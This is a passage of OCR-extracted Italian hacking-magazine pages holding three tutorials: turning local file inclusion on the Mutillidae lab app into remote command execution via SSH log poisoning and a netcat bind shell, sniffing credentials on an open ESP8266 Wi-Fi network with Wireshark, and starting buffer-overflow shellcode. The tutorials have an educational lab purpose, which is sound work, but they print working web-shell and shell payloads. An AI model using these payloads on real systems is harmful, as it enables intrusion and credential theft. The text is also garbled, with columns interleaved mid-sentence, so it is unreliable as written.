abbiamo realizzato mediante I LOG DEL SISTEMA Eppure quello implementato da
ricorso alla virtualizzazione (come Nelle ultime puntate ci siamo Mutillidae non è l’unico sistema
descritto nel PDF che trovate soffermati in particolare sulle di log a essere in pericolo:
all’URL https://bit.ly/palestra_hj). vulnerabilità che affliggono il mettendo a sistema le informazioni
La palestra ci consente di sistema di log di Mutillidae [figura sin qui raccolte e sfruttando in
migliorare le nostre abilità di #1], che siamo riusciti a colpire con maniera opportuna le vulnerabilità
penetration tester in erba senza attacchi di tipo Cross Site Scripting della Web app, possiamo
correre alcun rischio di natura e Denial of Service. In questo modo estendere il campo dei nostri
attacchi ai log prodotti dal sistema
operativo del server Web.
figura #1
LOCAL FILE INCLUSION
Come? Semplice: sfruttando
l’attacco di tipo Local File
Inclusion (per gli amici LFI) che
abbiamo scoperto qualche puntata
fa. Ricordate? Stiamo parlando
di un attacco teso a esfiltrare i file
contenuti nel filesystem locale del
server (che, è bene sottolineare,
La pagina Show-Log, contenente di norma non dovrebbero essere
i log salvati da Mutillidae. accessibili all’utente www-data)
28
PENETRATION TEST
figura #2 La pagina Show-Log
attaccata tramite LFI
restituisce il contenuto
del file /etc/passwd.
d i t e s t c o m p l e t o
Un ambiente Rete
Internet 211.100.1.2 Target
Backbone
211.100.1.1 Server
212.100.1.3 FTP
Router
212.100.1.1
210.100.1.2
212.100.1.2
Pentester Server
210.100.1.1 Web
All’URL https://bit.ly/palestra_hj
trovate le istruzioni per creare
la palestra virtuale. 29
SICUREZZA
figura #3
interprete come se si trattasse di
Un esempio del
una qualsiasi pagina dinamica.
contenuto tipico In altri termini, la vulnerabilità
della directory di tipo LFI può diventare il canale
/var/log. attraverso cui compiere un vero
e proprio attacco RCE (Remote
Command Execution)!
Un esempio di contenuto
del file /var/log/
apache2/access.log.
30
PENETRATION TEST
figura #6
Mutillidae
Mutillidae è una Web
application didattica,
Open Source e liberamente
installabile da chiunque
intenda migliorare le proprie
capacità di pentester. Rispetto
ad altre Web app simili
(come “Damn Vulnerable Web
Application” - DVWA, che
abbiamo visto nelle puntate
Un esempio di contenuto del file /var/log/auth.log. precedenti) si contraddistingue
per il suo approccio basato
sulle vulnerabilità appartenenti
specifico caso) e il demone SSH ci focalizzeremo su SSH. Prima alla lista denominata OSWAP
(sshd). Le nostre precedenti di iniziare l’attacco vero e proprio, Top 10 (www.owasp.org), che
indagini, infatti, ci hanno completiamo l’ultima verifica racchiude le 10 falle più diffuse
dimostrato come i due servizi siano preliminare: è possibile visualizzare in ambito Web. Sotto questo
profilo Mutillidae ci offre
in esecuzione sulla macchina il file dei log (/var/log/auth.log, un ambiente addestrativo
Server Web (rispettivamente come detto) tramite le pagine privilegiato, consentendo
alla porta 80 e 22); inoltre entrambi vulnerabili di Mutillidae? Per di confrontarci con le diverse
dispongono di un sistema di log provarlo, è sufficiente richiedere incarnazioni di ciascuna
delle vulnerabilità incluse
rientrante nei requisiti la visualizzazione dell’URL
nella OSWAP Top 10.
che abbiamo tracciato. http://www.labpentest.hj/
Più precisamente: mutillidae/index.php?page=../../../
• Apache conserva, nel file /var/ var/log/auth.log che ci mostra se l’utente in questione non esiste?
log/apache2/access.log [figura l’intero contenuto del file Per scoprirlo, effettuiamo una
#5] i dati relativi alle richieste HTTP d’interesse [figura #7]. connessione SSH alla VM “Server
provenienti dai client e alle relative Web”. Dalla nostra VM Kali,
risposte (tra cui possiamo citare VERIFICHE PRELIMINARI avviamo un terminale e inseriamo
parametri come il metodo Superato questo primo test, il comando
utilizzato, la risorsa richiesta o il è tempo di alzare l’asticella:
browser in opera, che si prestano sappiamo che sshd salva in # ssh ‘prova inserimento in
perfettamente ai nostri scopi); auth.log l’username dell’utente log’@www.labpentest.hj
• sshd inserisce all’interno del file che prova a effettuare il login
/var/log/auth.log [figura #6] i dati tramite SSH, ma cosa accade In questo modo chiediamo di
relativi ai tentativi di connessione creare una connessione SSH alla
in SSH alla macchina, salvando –
tra l’altro – informazioni come
il nome dell’utente che ha provato
figura #7
a effettuare il login da remoto.
LFI SU AUTH.LOG
A prima vista, dunque, non ci resta
che l’imbarazzo della scelta…
ma poiché nella puntata
precedente, per attaccare
il sistema di log interno di
Mutillidae, abbiamo già “giocato”
sui parametri associati alla
richiesta HTTP, questa volta Il contenuto del file /var/log/auth.log del server Web.
31
SICUREZZA
Questo tentativo di login
figura #8 non va certo a buon fine
visto che l’esistenza
dell’utente indicato
è inverosimile.
GET e POST
ALL’ATTACCO! volta la pagina http://www.
Una volta appurata la possibilità labpentest.hj/mutillidae/index.
di inserire una stringa arbitraria php? page=../../../var/log/auth.log.
I due metodi HTTP principali
nel log, possiamo passare allo Tutto fila secondo le previsioni: nel
utilizzati per richiedere una
risorsa (come la pagina di un step successivo del nostro attacco, log possiamo vedere chiaramente
sito) a un server Web sono GET provando a iniettare del codice il messaggio d’errore [figura #11]
e POST, e si differenziano PHP in auth.log per verificarne
per le modalità con cui il la corretta esecuzione. Poiché Invalid user www-data
browser (ovvero il client)
trasmette gli eventuali parametri
siamo interessati a eseguire
della richiesta al server: un attacco RCE, optiamo per relativo al nostro tentativo fallito
• nelle richieste POST, l’iniezione nel log di un’istruzione di connessione SSH con l’utente
i parametri sono inseriti nel PHP in grado di eseguire un <? system(“whoami”);?>.
corpo della richiesta HTTP, e di
comando di shell, nel caso
conseguenza non sono visibili
all’utente né (immediatamente) specifico whoami: in questo caso, SALTO DI QUALITÀ
modificabili da quest’ultimo; il codice da inserire in auth.log è Utilizzando la tecnica che abbiamo
• nelle richieste GET, i parametri appena visto possiamo continuare
vengono accodati all’URL
<? system(“whoami”);?> a eseguire i comandi di shell che
e possono quindi essere notati
immediatamente dall’utente, desideriamo: ma si tratta di una
che può procedere alla modifica A tal fine, avviamo nuovamente procedura piuttosto lenta
semplicemente interagendo il client SSH con il comando e macchinosa. Ben altra cosa
con la barra degli indirizzi [figura #10] sarebbe disporre di una pagina
del browser.
in grado di eseguire i comandi
# ssh ‘<? inviati direttamente da browser:
macchina www.labpentest.hj system(“whoami”);?>’@www. in questo modo potremmo
(ovvero al server Web che stiamo labpentest.hj effettuare un salto di qualità
attaccando) per conto dell’utente nel nostro attacco e “interrogare”
‘prova inserimento in log’. Si tratta per poi visualizzare per l’ennesima la shell del server Web
di un tentativo chiaramente
figura #9
infruttuoso [figura #8], sia perché
è del tutto inverosimile l’esistenza
di un utente del genere, sia perché
la stragrande maggioranza (se non
la totalità) delle distro vieta l’utilizzo
di spazi nei nomi utente: ciò
nonostante, il comando svolge in
maniera corretta il compito che gli
abbiamo assegnato, ovvero quello
di inserire la stringa ‘prova
inserimento in log’ all’interno del
file di log, come testimonia la
pagina http://www.labpentest.hj/
mutillidae/index.php?page=../../../ Perfetto! Siamo riusciti a iniettare una stringa
var/log/auth.log [figura #9]. arbitraria nel file /var/log/auth.log!
32
PENETRATION TEST
figura #10 Con questo tentativo di
login in SSH proviamo a
inserire codice PHP in
auth.log.
33
SICUREZZA
figura #13 approfondita, caratterizzata
dall’esecuzione di molteplici
comandi, questa procedura
può, tuttavia, rivelarsi alquanto
macchinosa. In contesti come
quello delineato abbiamo
bisogno di poter interagire
in maniera tempestiva con
la macchina target: in altre parole,
abbiamo bisogno di una shell!
Non si tratta di un obiettivo
Se proviamo a eseguire netcat per aprire una shell particolarmente complesso
sul server Web, la pagina sembrerà non completare da raggiungere, perché ormai
il caricamento... disponiamo di tutti gli strumenti
necessari… è infatti sufficiente
che, per l’appunto, esegue della pagina http://www. forzare il server a eseguire
il comando di shell passato labpentest.hj/mutillidae/index. il comando
dall’utente tramite il parametro php?page=../../../var/log/ auth.
GET denominato comando. log&comando=ls /var/log. nc -l -p 3333 -e /bin/sh
Avviamo una shell sulla VM Se poi tra questi file dovessimo
Pentester e digitiamo [figura #12] trovarne qualcuno meritevole che, per l’appunto, pone una shell
di ulteriori approfondimenti, in ascolto sulla porta 3333 del
# ssh <? system(“$_ potremmo visionarlo passando server Web. A tal fine, è sufficiente
GET[comando]”);?>@www. al parametro comando il valore richiamare dal browser l’URL
labpentest.hj [figura #13] http://www.labpentest.
cat /var/log/nome_file_log hj/mutillidae/index.php?
quindi passiamo al browser page=../../../var/log/ auth.
e inseriamo nella barra degli e reiterare questo procedimento log&comando=nc -l -p 3333 -e /bin/
indirizzi l’URL http://www. per ciascuno dei file da esaminare. sh, quindi avviare una shell sulla
labpentest.hj/mutillidae/index. VM Pentester e collegarci
php?page=../../../var/log/auth.log& VOGLIO LA SHELL! comodamente alla porta 3333
comando=ls ottenendo il risultato Rispetto alla nostra soluzione del server Web. Il comando
dell’esecuzione del comando iniziale, insomma, il ricorso da eseguire è
ls sulla directory di lavoro corrente al parametro GET risulta
del server Web. particolarmente immediato, # nc www.labpentest.hj 3333
ma per contro necessita
ESTENDERE I RISULTATI di una richiesta HTTP ad hoc che, come possiamo notare
Con quest’ultima incarnazione per ogni comando di shell in [figura #14], ci fornisce accesso
del nostro attacco disponiamo di che si vuole eseguire: nel corso a una shell (purtroppo non
uno strumento versatile e flessibile di un’indagine particolarmente privilegiata) sul server Web.
per eseguire comandi di shell
sul server Web. Per esempio,
potremmo chiederci se esistano
figura #14
ulteriori log da attaccare: è
sufficiente eseguire il comando
ls /var/log
… ma per contro, avremo la possibilità di collegarci
che corrisponde alla visualizzazione alla shell sulla porta 3333 del server Web!
34
HOW TO
sniffing Sniffare il traffico su rete Wi-Fi
Basta un SoC da pochi euro per catturare i pacchetti dati scambiati dai dispositivi vicini............. 36
Sniffare
il traffico
su r e t e W i - F i
Basta un SoC da pochi euro per creare una rete Wi-Fi capace di
catturare e analizzare i pacchetti dati scambiati dai dispositivi vicini
S
IN BREVE ul numero 257 di HJ sono stati VERSATILITÀ
riportati i passi necessari per Ciò che ha reso incredibilmente versatili
Ecco come trasformare
realizzare un honeypot facendo i moduli ESP è il Wi-Fi integrato con il
una scheda che costa
pochi euro in un potente uso di un SoC programmabile supporto al protocollo IEEE 802.11 b/g/n
sniffer Wi-Fi. largamente impiegato nel campo e un completo stack TCP-IP che lo rende
dell’IoT. Lo stesso hardware può essere direttamente interfacciabile alla rete con
DIFFICOLTÀ
utilizzato per realizzare un ripetitore poco lavoro poiché supportato da vari
Wi-Fi (Range Extender), all’atto pratico ambienti software. Vengono sviluppati
un Router NAT. Un dispositivo di questo anche diversi firmware specifici e può
tipo può essere utilizzare alcuni linguaggi dedicati, come
usato sia come l’IDE Arduino, il firmware Open Source
36
SNIFFING
rete con funzioni di softAP. In IoT. Per tale motivo la corretta
sostanza, l’ESP funge da stazione
ripetente per l’AP (il gateway,
funzione dell’ESP deve essere
quella di un router NAT (Network
Come
ovvero il router) ma da AP per i Address Translation, letteralmente potenziare
sistemi che vogliono collegarsi sul
nuovo segmento di rete. Ma client,
traslazione degli indirizzi di rete)
affinché possa traslare gli indirizzi
il Wi-Fi
sul nuovo segmento di rete, e IP e il numero di porta da una parte Per i range extender esistono
gateway come comunicano tra di all’altra dei segmenti di rete soluzioni ad hoc commerciali
facilmente acquistabili, ma
loro? Per ottenere questa funzione fornendo ai computer sui diversi
è possibile realizzarne una
l’ESP8266 deve agire da IP router, segmenti l’illusione di essere propria versione spendendo
scenario possibile poiché connessi su reti differenti. In questo pochi euro. In tale scenario la
implementa un completo stack modo la rete creata dall’ESP potrà scelta può ricadere su un
prodotto ideato da Espressif
TCP/IP che, opportunamente essere vista come un segmento a
Systems come l’ESP8266: un
programmato, permette un sé stante trasparente alle altre reti SoC che integra un processore
forwarding (inoltro) dei pacchetti come se fosse a tutti gli effetti un RISC a 32bit e tutta una serie di
in entrambe le direzioni. In questo “classico router casalingo”. Il interfacce la cui spiegazione
scenario il problema risiede nel discorso di equivalenza rispetto a esula dal seguente contesto ma
molto utilizzate dai maker per i
fatto che i segmenti di rete tra un router si completa con le query più disparati progetti.
di loro “non si conoscono”, per (richieste) DNS per la risoluzione
esempio il segmento di rete dei nomi di dominio. In un tipico
192.168.1.x non è a conoscenza scenario i DNS vengono impostati CARICARE IL FIRMWARE
della presenza di un segmento tramite l’interfaccia del proprio Volendo riportare una metodologia
di indirizzi 10.0.0.x e pertanto router che opera come un proxy valida per ogni sistema operativo,
occorrono delle entry opportune DNS inoltrandole, per esempio, la scelta non può che ricadere
all’interno delle routing tables verso l’IDNS (Internet Domain su esptool scritto in Python
(tabelle di instradamento). Una tale Name Server) del proprio fornitore e sviluppato dalla Espressif –
funzione è fondamentale quando di rete; il router diventa quindi un oltremodo utilizzato come backend
si vuole una configurazione senza intermediario. Poiché l’AP (gateway) dall’IDE Arduino quando si devono
troppe problematiche, in termini funge da proxy DNS, è facile intuire caricare sketch per la famiglia ESP
di tempo (quando ci si connette) come l’ESP8266 non deve far altro – e i cui sorgenti vengono messi
e tipologia di dispositivo utilizzato, che far passare queste richieste a disposizione con licenza GPL.
e.g. portatile, smartphone e moduli in maniera trasparente verso l’AP. Il software comunica tramite porta
USB con gli ESP previo utilizzo di un
bridge USB/UART. Per esempio:
la scheda NodeMCU ha già il bridge
integrato, un chip CP2102 di Silicon
Labs per il quale gli utenti Windows
e macOS dovranno installare
i driver dedicati, mentre gli utenti
GNU/Linux non dovranno fare
nulla poiché il kernel già
37
HOW TO
GLOSSARIO figura #3
DI BASE
SOC
Acronimo di System
on Chip: indica
un intero sistema
(o quasi)
completamente
integrato in un chip.
Comprende cioè
RAM, Wi-Fi,
Bluetooth, sensori,
CPU, bus di
comunicazione
e molto altro. Sullo sfondo il browser con l’interfaccia grafica del router NAT ESP8266.
RISC
modifiche. Nei sistemi GNU/Linux verrà Tale messaggio indica che la scheda
Acronimo di Reduced
Instruction Set
installato in /home/nome_utente/. è connessa su /dev/ttyUSB0. Prima
Computer. Un tipo local/bin/ ed esptool.py -h fornirà di caricare il firmware è opportuno
di processore con set il significato delle opzioni associate cancellare tutto ciò che c’è nella
di istruzioni più al comando. Per scaricare il firmware memoria flash utilizzando il comando
uniforme e limitato precompilato che implementa
in grado di eseguire
la funzione di router è sufficiente esptool.py --chip esp8266 erase_
(relativamente) poche
istruzioni in impartire il comando flash
contemporanea.
Usato per compiti git clone https://github.com/ Non c’è necessità di specificare la porta
specifici dove martin-ger/esp_wifi_repeater.git poiché in genere la rilevazione
l’istruzione, è automatica [figura #2]. Al termine
semplificando al
A seguire digitate cd esp_wifi_repeater della cancellazione della flash si dovrà
massimo, viene letta,
decodificata, eseguita per entrare nella cartella clonata. caricare il firmware con
e il risultato riportato Dopo aver collegato la NodeMCU
in memoria. Si alla porta USB il comando dmesg esptool.py write_flash -fs 4MB -ff
contrappone ai dovrebbe riportare in output 80m -fm dio 0x00000
sistemi CISC (Complex un messaggio del tipo: firmware/0x00000.bin 0x02000
Instruction Set
firmware/0x02000.bin
Computer) in grado di
eseguire più cp210x converter now attached to
operazioni in una ttyUSB0 L’opzione -fs indica la dimensione della
singola istruzione.
GPIO
Acronimo di General
Purpose Input/
Output. Trattasi di
piedini fisici che il
chip/SoC mette a figura #4
disposizione del
programmatore per Topologia
usi e servizi generici. della rete
realizzata per
la stesura
dell’articolo.
38
SNIFFING
sempre alla porta 7777 ma
I sorgenti di esptool all’indirizzo 10.0.1.1. Il comando
show config mostrerà l’attuale
Se volete utilizzare i sorgenti dal Git di Espressif è sufficiente il comando configurazione, show stats le
git clone https://github.com/espressif/esptool.git per scaricarli in
statistiche e show route la tabella
locale seguito da cd esptool per entrare nella omonima cartella, quindi
procedere con pip install --user -e . (occhio al punto finale nel di routing [figura #1] nella quale
comando, non è un errore ma indica la cartella corrente). il gateway (router) ha indirizzo
192.168.1.1 e la rete a valle
memoria (flash size), 4 MB, -ff indirizzo poiché il predefinito si dell’ESP8266 indirizzo 10.0.1.0/24.
sta per flash frequency (80 MHz) sovrappone a un router esistente, Si è detto che la rete di default
mentre -fm è l’acronimo di flash è sufficiente al prompt di telnet è aperta e si chiama MyAP. Si
mode dov’è indicata la DIO (Dual impartire set network 10.0.1.0 che possono cambiare le impostazioni
I/O), la modalità di lettura della “dirà” al router ESP8266 di creare il di default; per esempio per
memoria flash esterna (Dual Read segmento di rete 10.0.1.0/24. Prima impostare un altro nome della rete
and Write Mode). di rendere effettive le modifiche (SSID) si può usare set ap_ssid
le si può visionare con show ReteLiberaNoPwd ricordandosi
PRIMO COLLEGAMENTO per valutare se c’è qualcosa da sempre di salvare le impostazioni
A questo punto la scheda modificare, quindi salvarle con e riavviare la scheda per renderle
è programmata per svolgere save e renderle attive con reset. effettive. Alcuni parametri possono
le funzioni di router NAT che di Dopo il riavvio della scheda, per essere impostati anche attraverso
default creerà il nuovo segmento di avere l’interfaccia Web dell’ESP l’interfaccia grafica. Va da sé come
rete 192.168.4.0/24 aperto (senza router il browser va puntato al sia possibile ampliare la rete
password) con SSID di nome MyAP. nuovo indirizzo 10.0.1.1. Va da sé usando più schede per costruire
L’indirizzo per l’interfaccia grafica è che ora la connessione telnet sarà diversi segmenti di rete. Gli indirizzi
192.168.4.1 e al portatile collegato
è stato assegnato l’indirizzo
192.168.4.2 [figura #3]. Per
collegarsi al router di casa occorre
riportare SSID e Password della
rete nella sezione STA Settings
dell’interfaccia grafica, quindi
cliccare su Connect. Una volta
collegato un dispositivo alla “nuova
rete” per verificare che si riesca
ad “uscire”, quindi la possibilità figura #5
di navigare, è sufficiente un ping Identificare la
8.8.8.8 (DNS Google) o verso rete in chiaro.
qualunque altro indirizzo IP
raggiungibile in Internet. È possibile
impostare, seppur in numero
limitato rispetto a un router
Se il firmware non si carica
Nei sistemi GNU/Linux occorre assicurarsi che l’utente che dovrà
“regolare”, diversi parametri di rete.
materialmente caricare via USB il firmware faccia parte del gruppo dialout
Per queste operazioni è sufficiente e, in alcune distribuzioni (e.g. Ubuntu), anche del gruppo tty, esattamente
collegarsi via telnet all’ESP8266 con come avviene per l’IDE Arduino. La verifica può essere effettuata avviando,
il comando telnet 192.168.4.1 senza argomenti o opzioni aggiuntive, i comandi groups o id direttamente
7777. Ottenuto il prompt, digitando dall’utente che dovrà caricare il firmware. Per aggiungere l’utente a un
gruppo basta usare il comando usermod -a -G dialout nome_utente
help e premendo Invio verranno da impartirsi con le credenziali di root o anteponendo
riportati tutti i comandi accettati. a esso sudo per quelle distribuzioni che lo abilitano di default.
Qualora si volesse cambiare
39
HOW TO
GLOSSARIO vengono assegnati automaticamente vede la cattura del traffico utilizzando
DI BASE dal DHCP. È possibile l’esecuzione di l’interfaccia wireless che opera
uno speed test utilizzando i classici test in monitor mode (wlo1 nel nostro caso).
UART online come https://misurainternet.it Si potrebbe provare, utilizzando
Universal per verificarne le performance. la suddetta rete in chiaro, a scoprire
Asynchronous le credenziali di un sito che opera
Receiver-Transmitter. ANALIZZARE IL TRAFFICO su connessione HTTP (non HTTPS).
Uno dei protocolli Il punto a cui siamo arrivati configura Ricordiamo che quanto descritto
seriali di
lo scenario visibile in [figura #4]. in queste pagine è solo a livello
comunicazione tanto
vecchio quanto Verifichiamo per questa rete le dimostrativo e didattico. Hacker Journal
semplice e largamente implicazioni riguardanti la sicurezza non si riterrà responsabile per qualsiasi
utilizzato nei poiché è aperta (in chiaro), sebbene sia azione che possa arrecare danno
microcontrollori. sempre possibile impostare il WPA2 emulando quanto riportato di seguito.
In quanto come opzione. Quali possibili
comunicazione
informazioni riusciamo a ricavare? Per FILTRATE I PACCHETTI
asincrona, quando
si vuole comunicare rispondere a questa domanda si farà Il primo passaggio è filtrare tutto ciò
via UART occorre uso del software Wireshark (www. che arriva e che parte dalla rete Wi-Fi
“concordare” wireshark.org). Lo scenario vede in chiaro appena creata. Come fare?
la velocità di catturare, con un portatile, il traffico Conosciamo il MAC address (Media
trasmissione (e.g.
di rete tra un dispositivo mobile (e.g. Access Control, indirizzo di 12 cifre
115.200 baud).
smartphone) che opera nella rete creata che identifica in maniera univoca una
BEACON FRAME dall’ESP8266. Essendo interessati alla scheda) del softAP; come visibile dalla
È un pacchetto che cattura dei pacchetti del protocollo [figura #1], è pari a 5e:cf:7f:6c:dd:a3 in
un dispositivo invia 802.11 allora si dovrà impostare esadecimale. Si può osservare in [figura
nell’etere per l’interfaccia wireless del portatile #5] un Beacon Frame corrispondente
annunciare la propria
in modalità monitor mode affinché si all’AP MAC riportato. Poiché nei dintorni
esistenza e
disponibilità alla possa “sniffare” tutto il traffico nell’etere. possono esserci molte altre reti, per
connessione. Contiene Tale impostazione è stata riportata più evitare di catturare traffico di non
diverse informazioni volte nei diversi numeri di HJ pertanto interesse che intaserebbe l’interfaccia
riguardanti le non verrà ripresentata in questo è opportuno inserire un filtro affinché
caratteristiche della contesto. Avviato Wireshark con i pacchetti catturati interessino tutto
rete che si appresta
le credenziali dell’amministratore (o e solo il traffico trasmesso o che abbia
a rendere disponibile
a chi vorrà collegarsi. anteponendo sudo per le distribuzioni come destinazione l’ESP. Per ottenere
che lo abilitano di default) il primo passo questo risultato si dovrà cliccare con il
IEEE 802.11
Rilasciato nel 1987,
identifica lo standard
delle reti wireless.
Le lettere b e g
indicano
rispettivamente,
per la frequenza
di 2,4 GHz,
una velocità di 11
Mbit/s e 54 Mbit/s.
La lettera n si riferisce
a una velocità
di 300 Mbit/s alla
figura #6
frequenza di 5 GHz. Filtrare i pacchetti per visualizzare
solo quelli che ci interessano,
cioè quelli da e per l’ESP.
40
SNIFFING
tasto destro su Transmitter
address del MAC del softAP e dal Ottimizzare la connessione
menu contestuale selezionare
Esistono topologie di rete che per costruzione originano ridondanze
Applica come filtro e dall’elenco
nei percorsi di comunicazione. Trattasi della topologia di rete mesh che
optare per Selezionati [figura #6]. all’atto pratico migliora la velocità di comunicazione poiché, effettuando
Verrà aggiunta nel rigo dei filtri la connessioni incrociate fra più elementi, permette di avere nodi diversi
stringa wlan.ta == 5e:cf:7f:6c:dd:a3. per il flusso dei dati, un traffico distribuito in maniera più uniforme
su ogni nodo e latenze ridotte, una migliore copertura e una maggiore
Dopo questa operazione verranno
stabilità del segnale. Una funzione integrata nel firmware dell’ESP8266
filtrati tutti i pacchetti trasmessi è la automesh attivabile da interfaccia grafica oppure con il comando
dall’ESP8266. In or logico (simbolo set automesh 1 via telnet. Una tale configurazione prevede almeno
della doppia pipe come nel un numero minimo di due schede.
linguaggio C, ||) va aggiunto anche
il filtro che permette di selezionare
tutti i pacchetti che hanno come
destinazione l’ESP8266. In definitiva
nel rigo dei filtri dovrà aversi la
stringa (sostituire il MAC con quello
del proprio device):
wlan.ta == 5e:cf:7f:6c:dd:a3
|| wlan.da == figura #7
5e:cf:7f:6c:dd:a3
Le reti in chiaro si dimostrano
ancora una volta un
A questo punto si può prendere colabrodo per i nostri dati,
lo smartphone, collegarsi alla rete difatti vengono usate come
in chiaro, quindi andare sul form esche, state attenti quando
di autenticazione di un sito per i pacchetti catturati utilizzando ne trovate una!
il quale conosciamo le credenziali da File la voce Salva come… e
e che utilizza il protocollo HTTP. assegnandogli un nome qualsiasi
Dopo aver immesso username (e.g. Test.pcapng). In questo modo di Wireshark selezionare Trova
e password effettuiamo il login; sarà possibile effettuare un’analisi un pacchetto (pulsante con lente
nel frattempo sulla schermata offline in un secondo momento d’ingrandimento come icona)
del portatile potremo vedere un caricando il file con sudo wireshark e dalla nuova sezione a comparsa
susseguirsi di pacchetti evidenziati -t Test.pcapmg. Operazione in selezionare Dettagli del pacchetto
con diversi colori. Effettuato il login realtà non necessaria poiché è (sezione a sinistra), lasciare Ridotti
si può interrompere la cattura possibile anche l’analisi a runtime o allargati nel menu a tendina
(icona seconda a destra con un (tempo di esecuzione). Qualunque centrale, Stringa nel menu di
quadrato rosso), quindi salvare sia la scelta adottata, dall’interfaccia destra e nel rigo di ricerca subito a
destra riportare, per esempio per
facilitare la ricerca, lo username
E se ho un ESP32? utilizzato per il sito. A questo punto,
cliccando sul pulsante Trova, dopo
Non cambiando l’obiettivo si può migliorare il sistema in alcune
caratteristiche utilizzando il “successore” del SoC ESP8266, l’ESP32. Come qualche attimo di ricerca Wireshark
il predecessore, anche l’ESP32 è stato realizzato in diverse versioni: si fermerà su un dato pacchetto nel
la più utilizzata è il modulo ESP-WROOM-32 e successivi rilasci, ognuno quale, come visibile in [figura #7]
caratterizzato da proprie specifiche non molto dissimili tra loro. L’ESP32 sarà possibile leggere sia l’IP del
oltre al Wi-Fi integrato con il supporto al protocollo IEEE 802.11 b/g/n
e a uno stack TCP-IP completo, include anche il pieno supporto alle
sito che le credenziali di accesso,
specifiche Bluetooth 4.2 e BLE (Bluetooth Low-Energy). a dimostrazione della pericolosità
delle reti in chiaro!
41
HOW TO
S
IN BREVE iamo così giunti al quarto UN VELOCE RICHIAMO
appuntamento dedicato ai Avere un programma vulnerabile
Studiamo la
buffer overflow. Nei numeri a un buffer overflow ma che non accetti
condizione d’errore
di un programma precedenti di Hacker Journal alcun parametro in ingresso non è di
chiamata buffer si sono ottenuti due importanti risultati: nessuna utilità per un attaccante. Nelle
overflow per capire un programma vulnerabile affetto applicazioni reali i programmi, anche di
come viene sfruttata da buffer overflow e righe di codice comune uso quotidiano, si interfacciano
dai pirati per compiere in C che ci permettono di aprire una con l’utente permettendogli in genere
azioni malevole.
shell di root. Si pongono però ulteriori di inserire un dato input, sia esso
DIFFICOLTÀ interrogativi. Come iniettare il codice un valore singolo oppure un gruppo
per l’apertura di una shell visto di valori anche misti e non
che non è possibile passare le righe necessariamente solo numerici.
del programma così come sono scritte? Nei precedenti appuntamenti abbiamo
Facciamo un passo avanti e cerchiamo visto un semplice programmino che
di dipanare questa questione. (sovra)scriveva il buffer accettando in
ingresso un certo numero di caratteri
che poi venivano copiati nel buffer.
Se il numero di caratteri era superiore
alla dimensione del buffer ecco che si
scatenava il buffer overflow, dovuto
sostanzialmente all’assenza di controlli
figura #1 e nel nostro specifico caso indotto
dall’uso di funzioni non idonee come
Contenuto del
strcpy(). Con il medesimo programma
file /etc/passwd.
sarebbe possibile, seppur in versione
semplificata e limitata, dimostrare come
ottenere una shell di root diventando
così amministratore di sistema grazie
alla vulnerabilità buffer overflow.
Si è utilizzato il condizionale poiché
prima della dimostrazione è necessario
comprendere almeno un altro
passaggio ossia, come ottenere lo
shellcode che poi dovrà essere passato
come input al programma vulnerabile.
42
BUFFER OVERFLOW
figura #2 Disassemblaggio dell’eseguibile
previo uso del debugger GDB.
non esclusivamente – si utilizza
il linguaggio C;
• compilare il programma scritto
via. Se il numero di caratteri supera e verificarne la funzionalità;
la dimensione del buffer del • procedere al disassemblaggio
programma vulnerabile, il risultato e, passo facoltativo ma che
è un buffer overflow con la accresce le conoscenze, analizzare
conseguente chiusura del come il programma funzioni
programma a opera del kernel a livello di linguaggio Assembly;
con un errore di segmentation • facoltativo (almeno in una fase
fault (segnale SIGSEGV, SIGnal iniziale di apprendimento)
SEGmentation Violation) e tutto – attuare una procedura di
finisce lì. Se invece venisse passato ottimizzazione per ripulire il codice
l’opcode delle istruzioni, lo scenario Assembly da tutto ciò che non
cambierebbe: si può pensare occorre, al fine di ottenere un
di memorizzare questi codici, codice iniettabile più corto possibile;
che sono a tutti gli effetti delle • verificare che la funzione
istruzioni, direttamente nello stack. del programma Assembly sia
Tali istruzioni potrebbero essere equivalente a quella scritta
realizzare. Per esempio, utilizzare eseguite se si riuscisse a far saltare con un linguaggio di alto livello;
un linguaggio ad alto livello come l’esecuzione del programma • estrarre gli opcode delle istruzioni
Java, Python o Perl, oppure optare vulnerabile nelle locazioni per la creazione dello shellcode.
per un linguaggio mid-level come dove sono state
il C/C++. Infine si potrebbe memorizzate. Per
scegliere un linguaggio di basso ottenere gli opcode
livello come l’Assembly o, ancora si deve avere quanto
più giù, usare gli opcode (codici in meno un sorgente
formato esadecimale). Sebbene sia Assembly dal quale
possibile realizzare uno shellcode ricavarli. Per
utilizzando tutti i suddetti linguaggi, ottenerlo o si è un
occorre ricordare che nel nostro minimo padroni
obiettivo occorrerà poi passarlo di questo linguaggio
come input al programma oppure, almeno in
vulnerabile. Passare righe di codice una fase iniziale, si
di linguaggi ad alto/medio livello segue una logica per
equivale a non passare nulla passi che permette di
poiché verrebbero viste come arrivare al risultato:
sequenza di caratteri alla stregua • scrivere la funzione
di tante A. Si immagini, per che si vuole ottenere
esempio, la prima tipica riga di in un linguaggio di
codice C come #include <stdio.h>: alto/medio livello che
verrebbe passato prima il carattere in genere si conosce.
# seguito dalla lettera i, poi n e così Tipicamente – ma
43
HOW TO
UN PO’ DI PRATICA perché in esso una volta venivano passato come argomento
Di seguito vedremo un esempio memorizzate le password – tramite e riportarne il contenuto sullo
scritto in linguaggio C. L’obiettivo l’uso del programma cat, uno dei standard output (man cat
è la lettura del contenuto del file comandi elementari in GNU/Linux per approfondimenti). Per ottenere
/etc/passwd – così chiamato utilizzato per leggere un file il risultato verrà utilizzata nel
sorgente C la chiamata di sistema
GLOSSARIO DI BASE
execve() il cui prototipo è:
44
BUFFER OVERFLOW
le allocazioni in spazio utente per
il passaggio dei tre argomenti alla
figura #4
funzione execve() la quale, all’atto
della chiamata, può essere vista
con questi argomenti:
execve(“/bin/cat”, [“/bin/
cat”, “/etc/passwd”], NULL)
45
HOW TO
figura #5
La sequenza di opcode
(cioè lo shellcode) per il
programma di lettura file.
programma scritto in C è dato dalla le seguenti righe salvando il file etichetta ma l’obiettivo è rendere
risoluzione dei simboli (o come Elenco_assembly.asm. i sorgenti coerenti tra di loro.
rilocazione). Telegraficamente, Lo 0 indica il terminatore di stringa
alla chiamata di una funzione section .rodata noto anche come null byte.
l’Assembly genera un’istruzione del align 8 La direttiva db sta per declare byte
tipo call indirizzo (un esempio args dq bin, arg2, 0 e nello specifico dichiara 8 byte
in [figura #2]). L’indirizzo che arg2 db “/etc/passwd”,0 – gli 8 caratteri riportati tra doppi
appare in realtà è “solo” un offset bin db “/bin/cat”,0 apici in codice ASCII – a partire
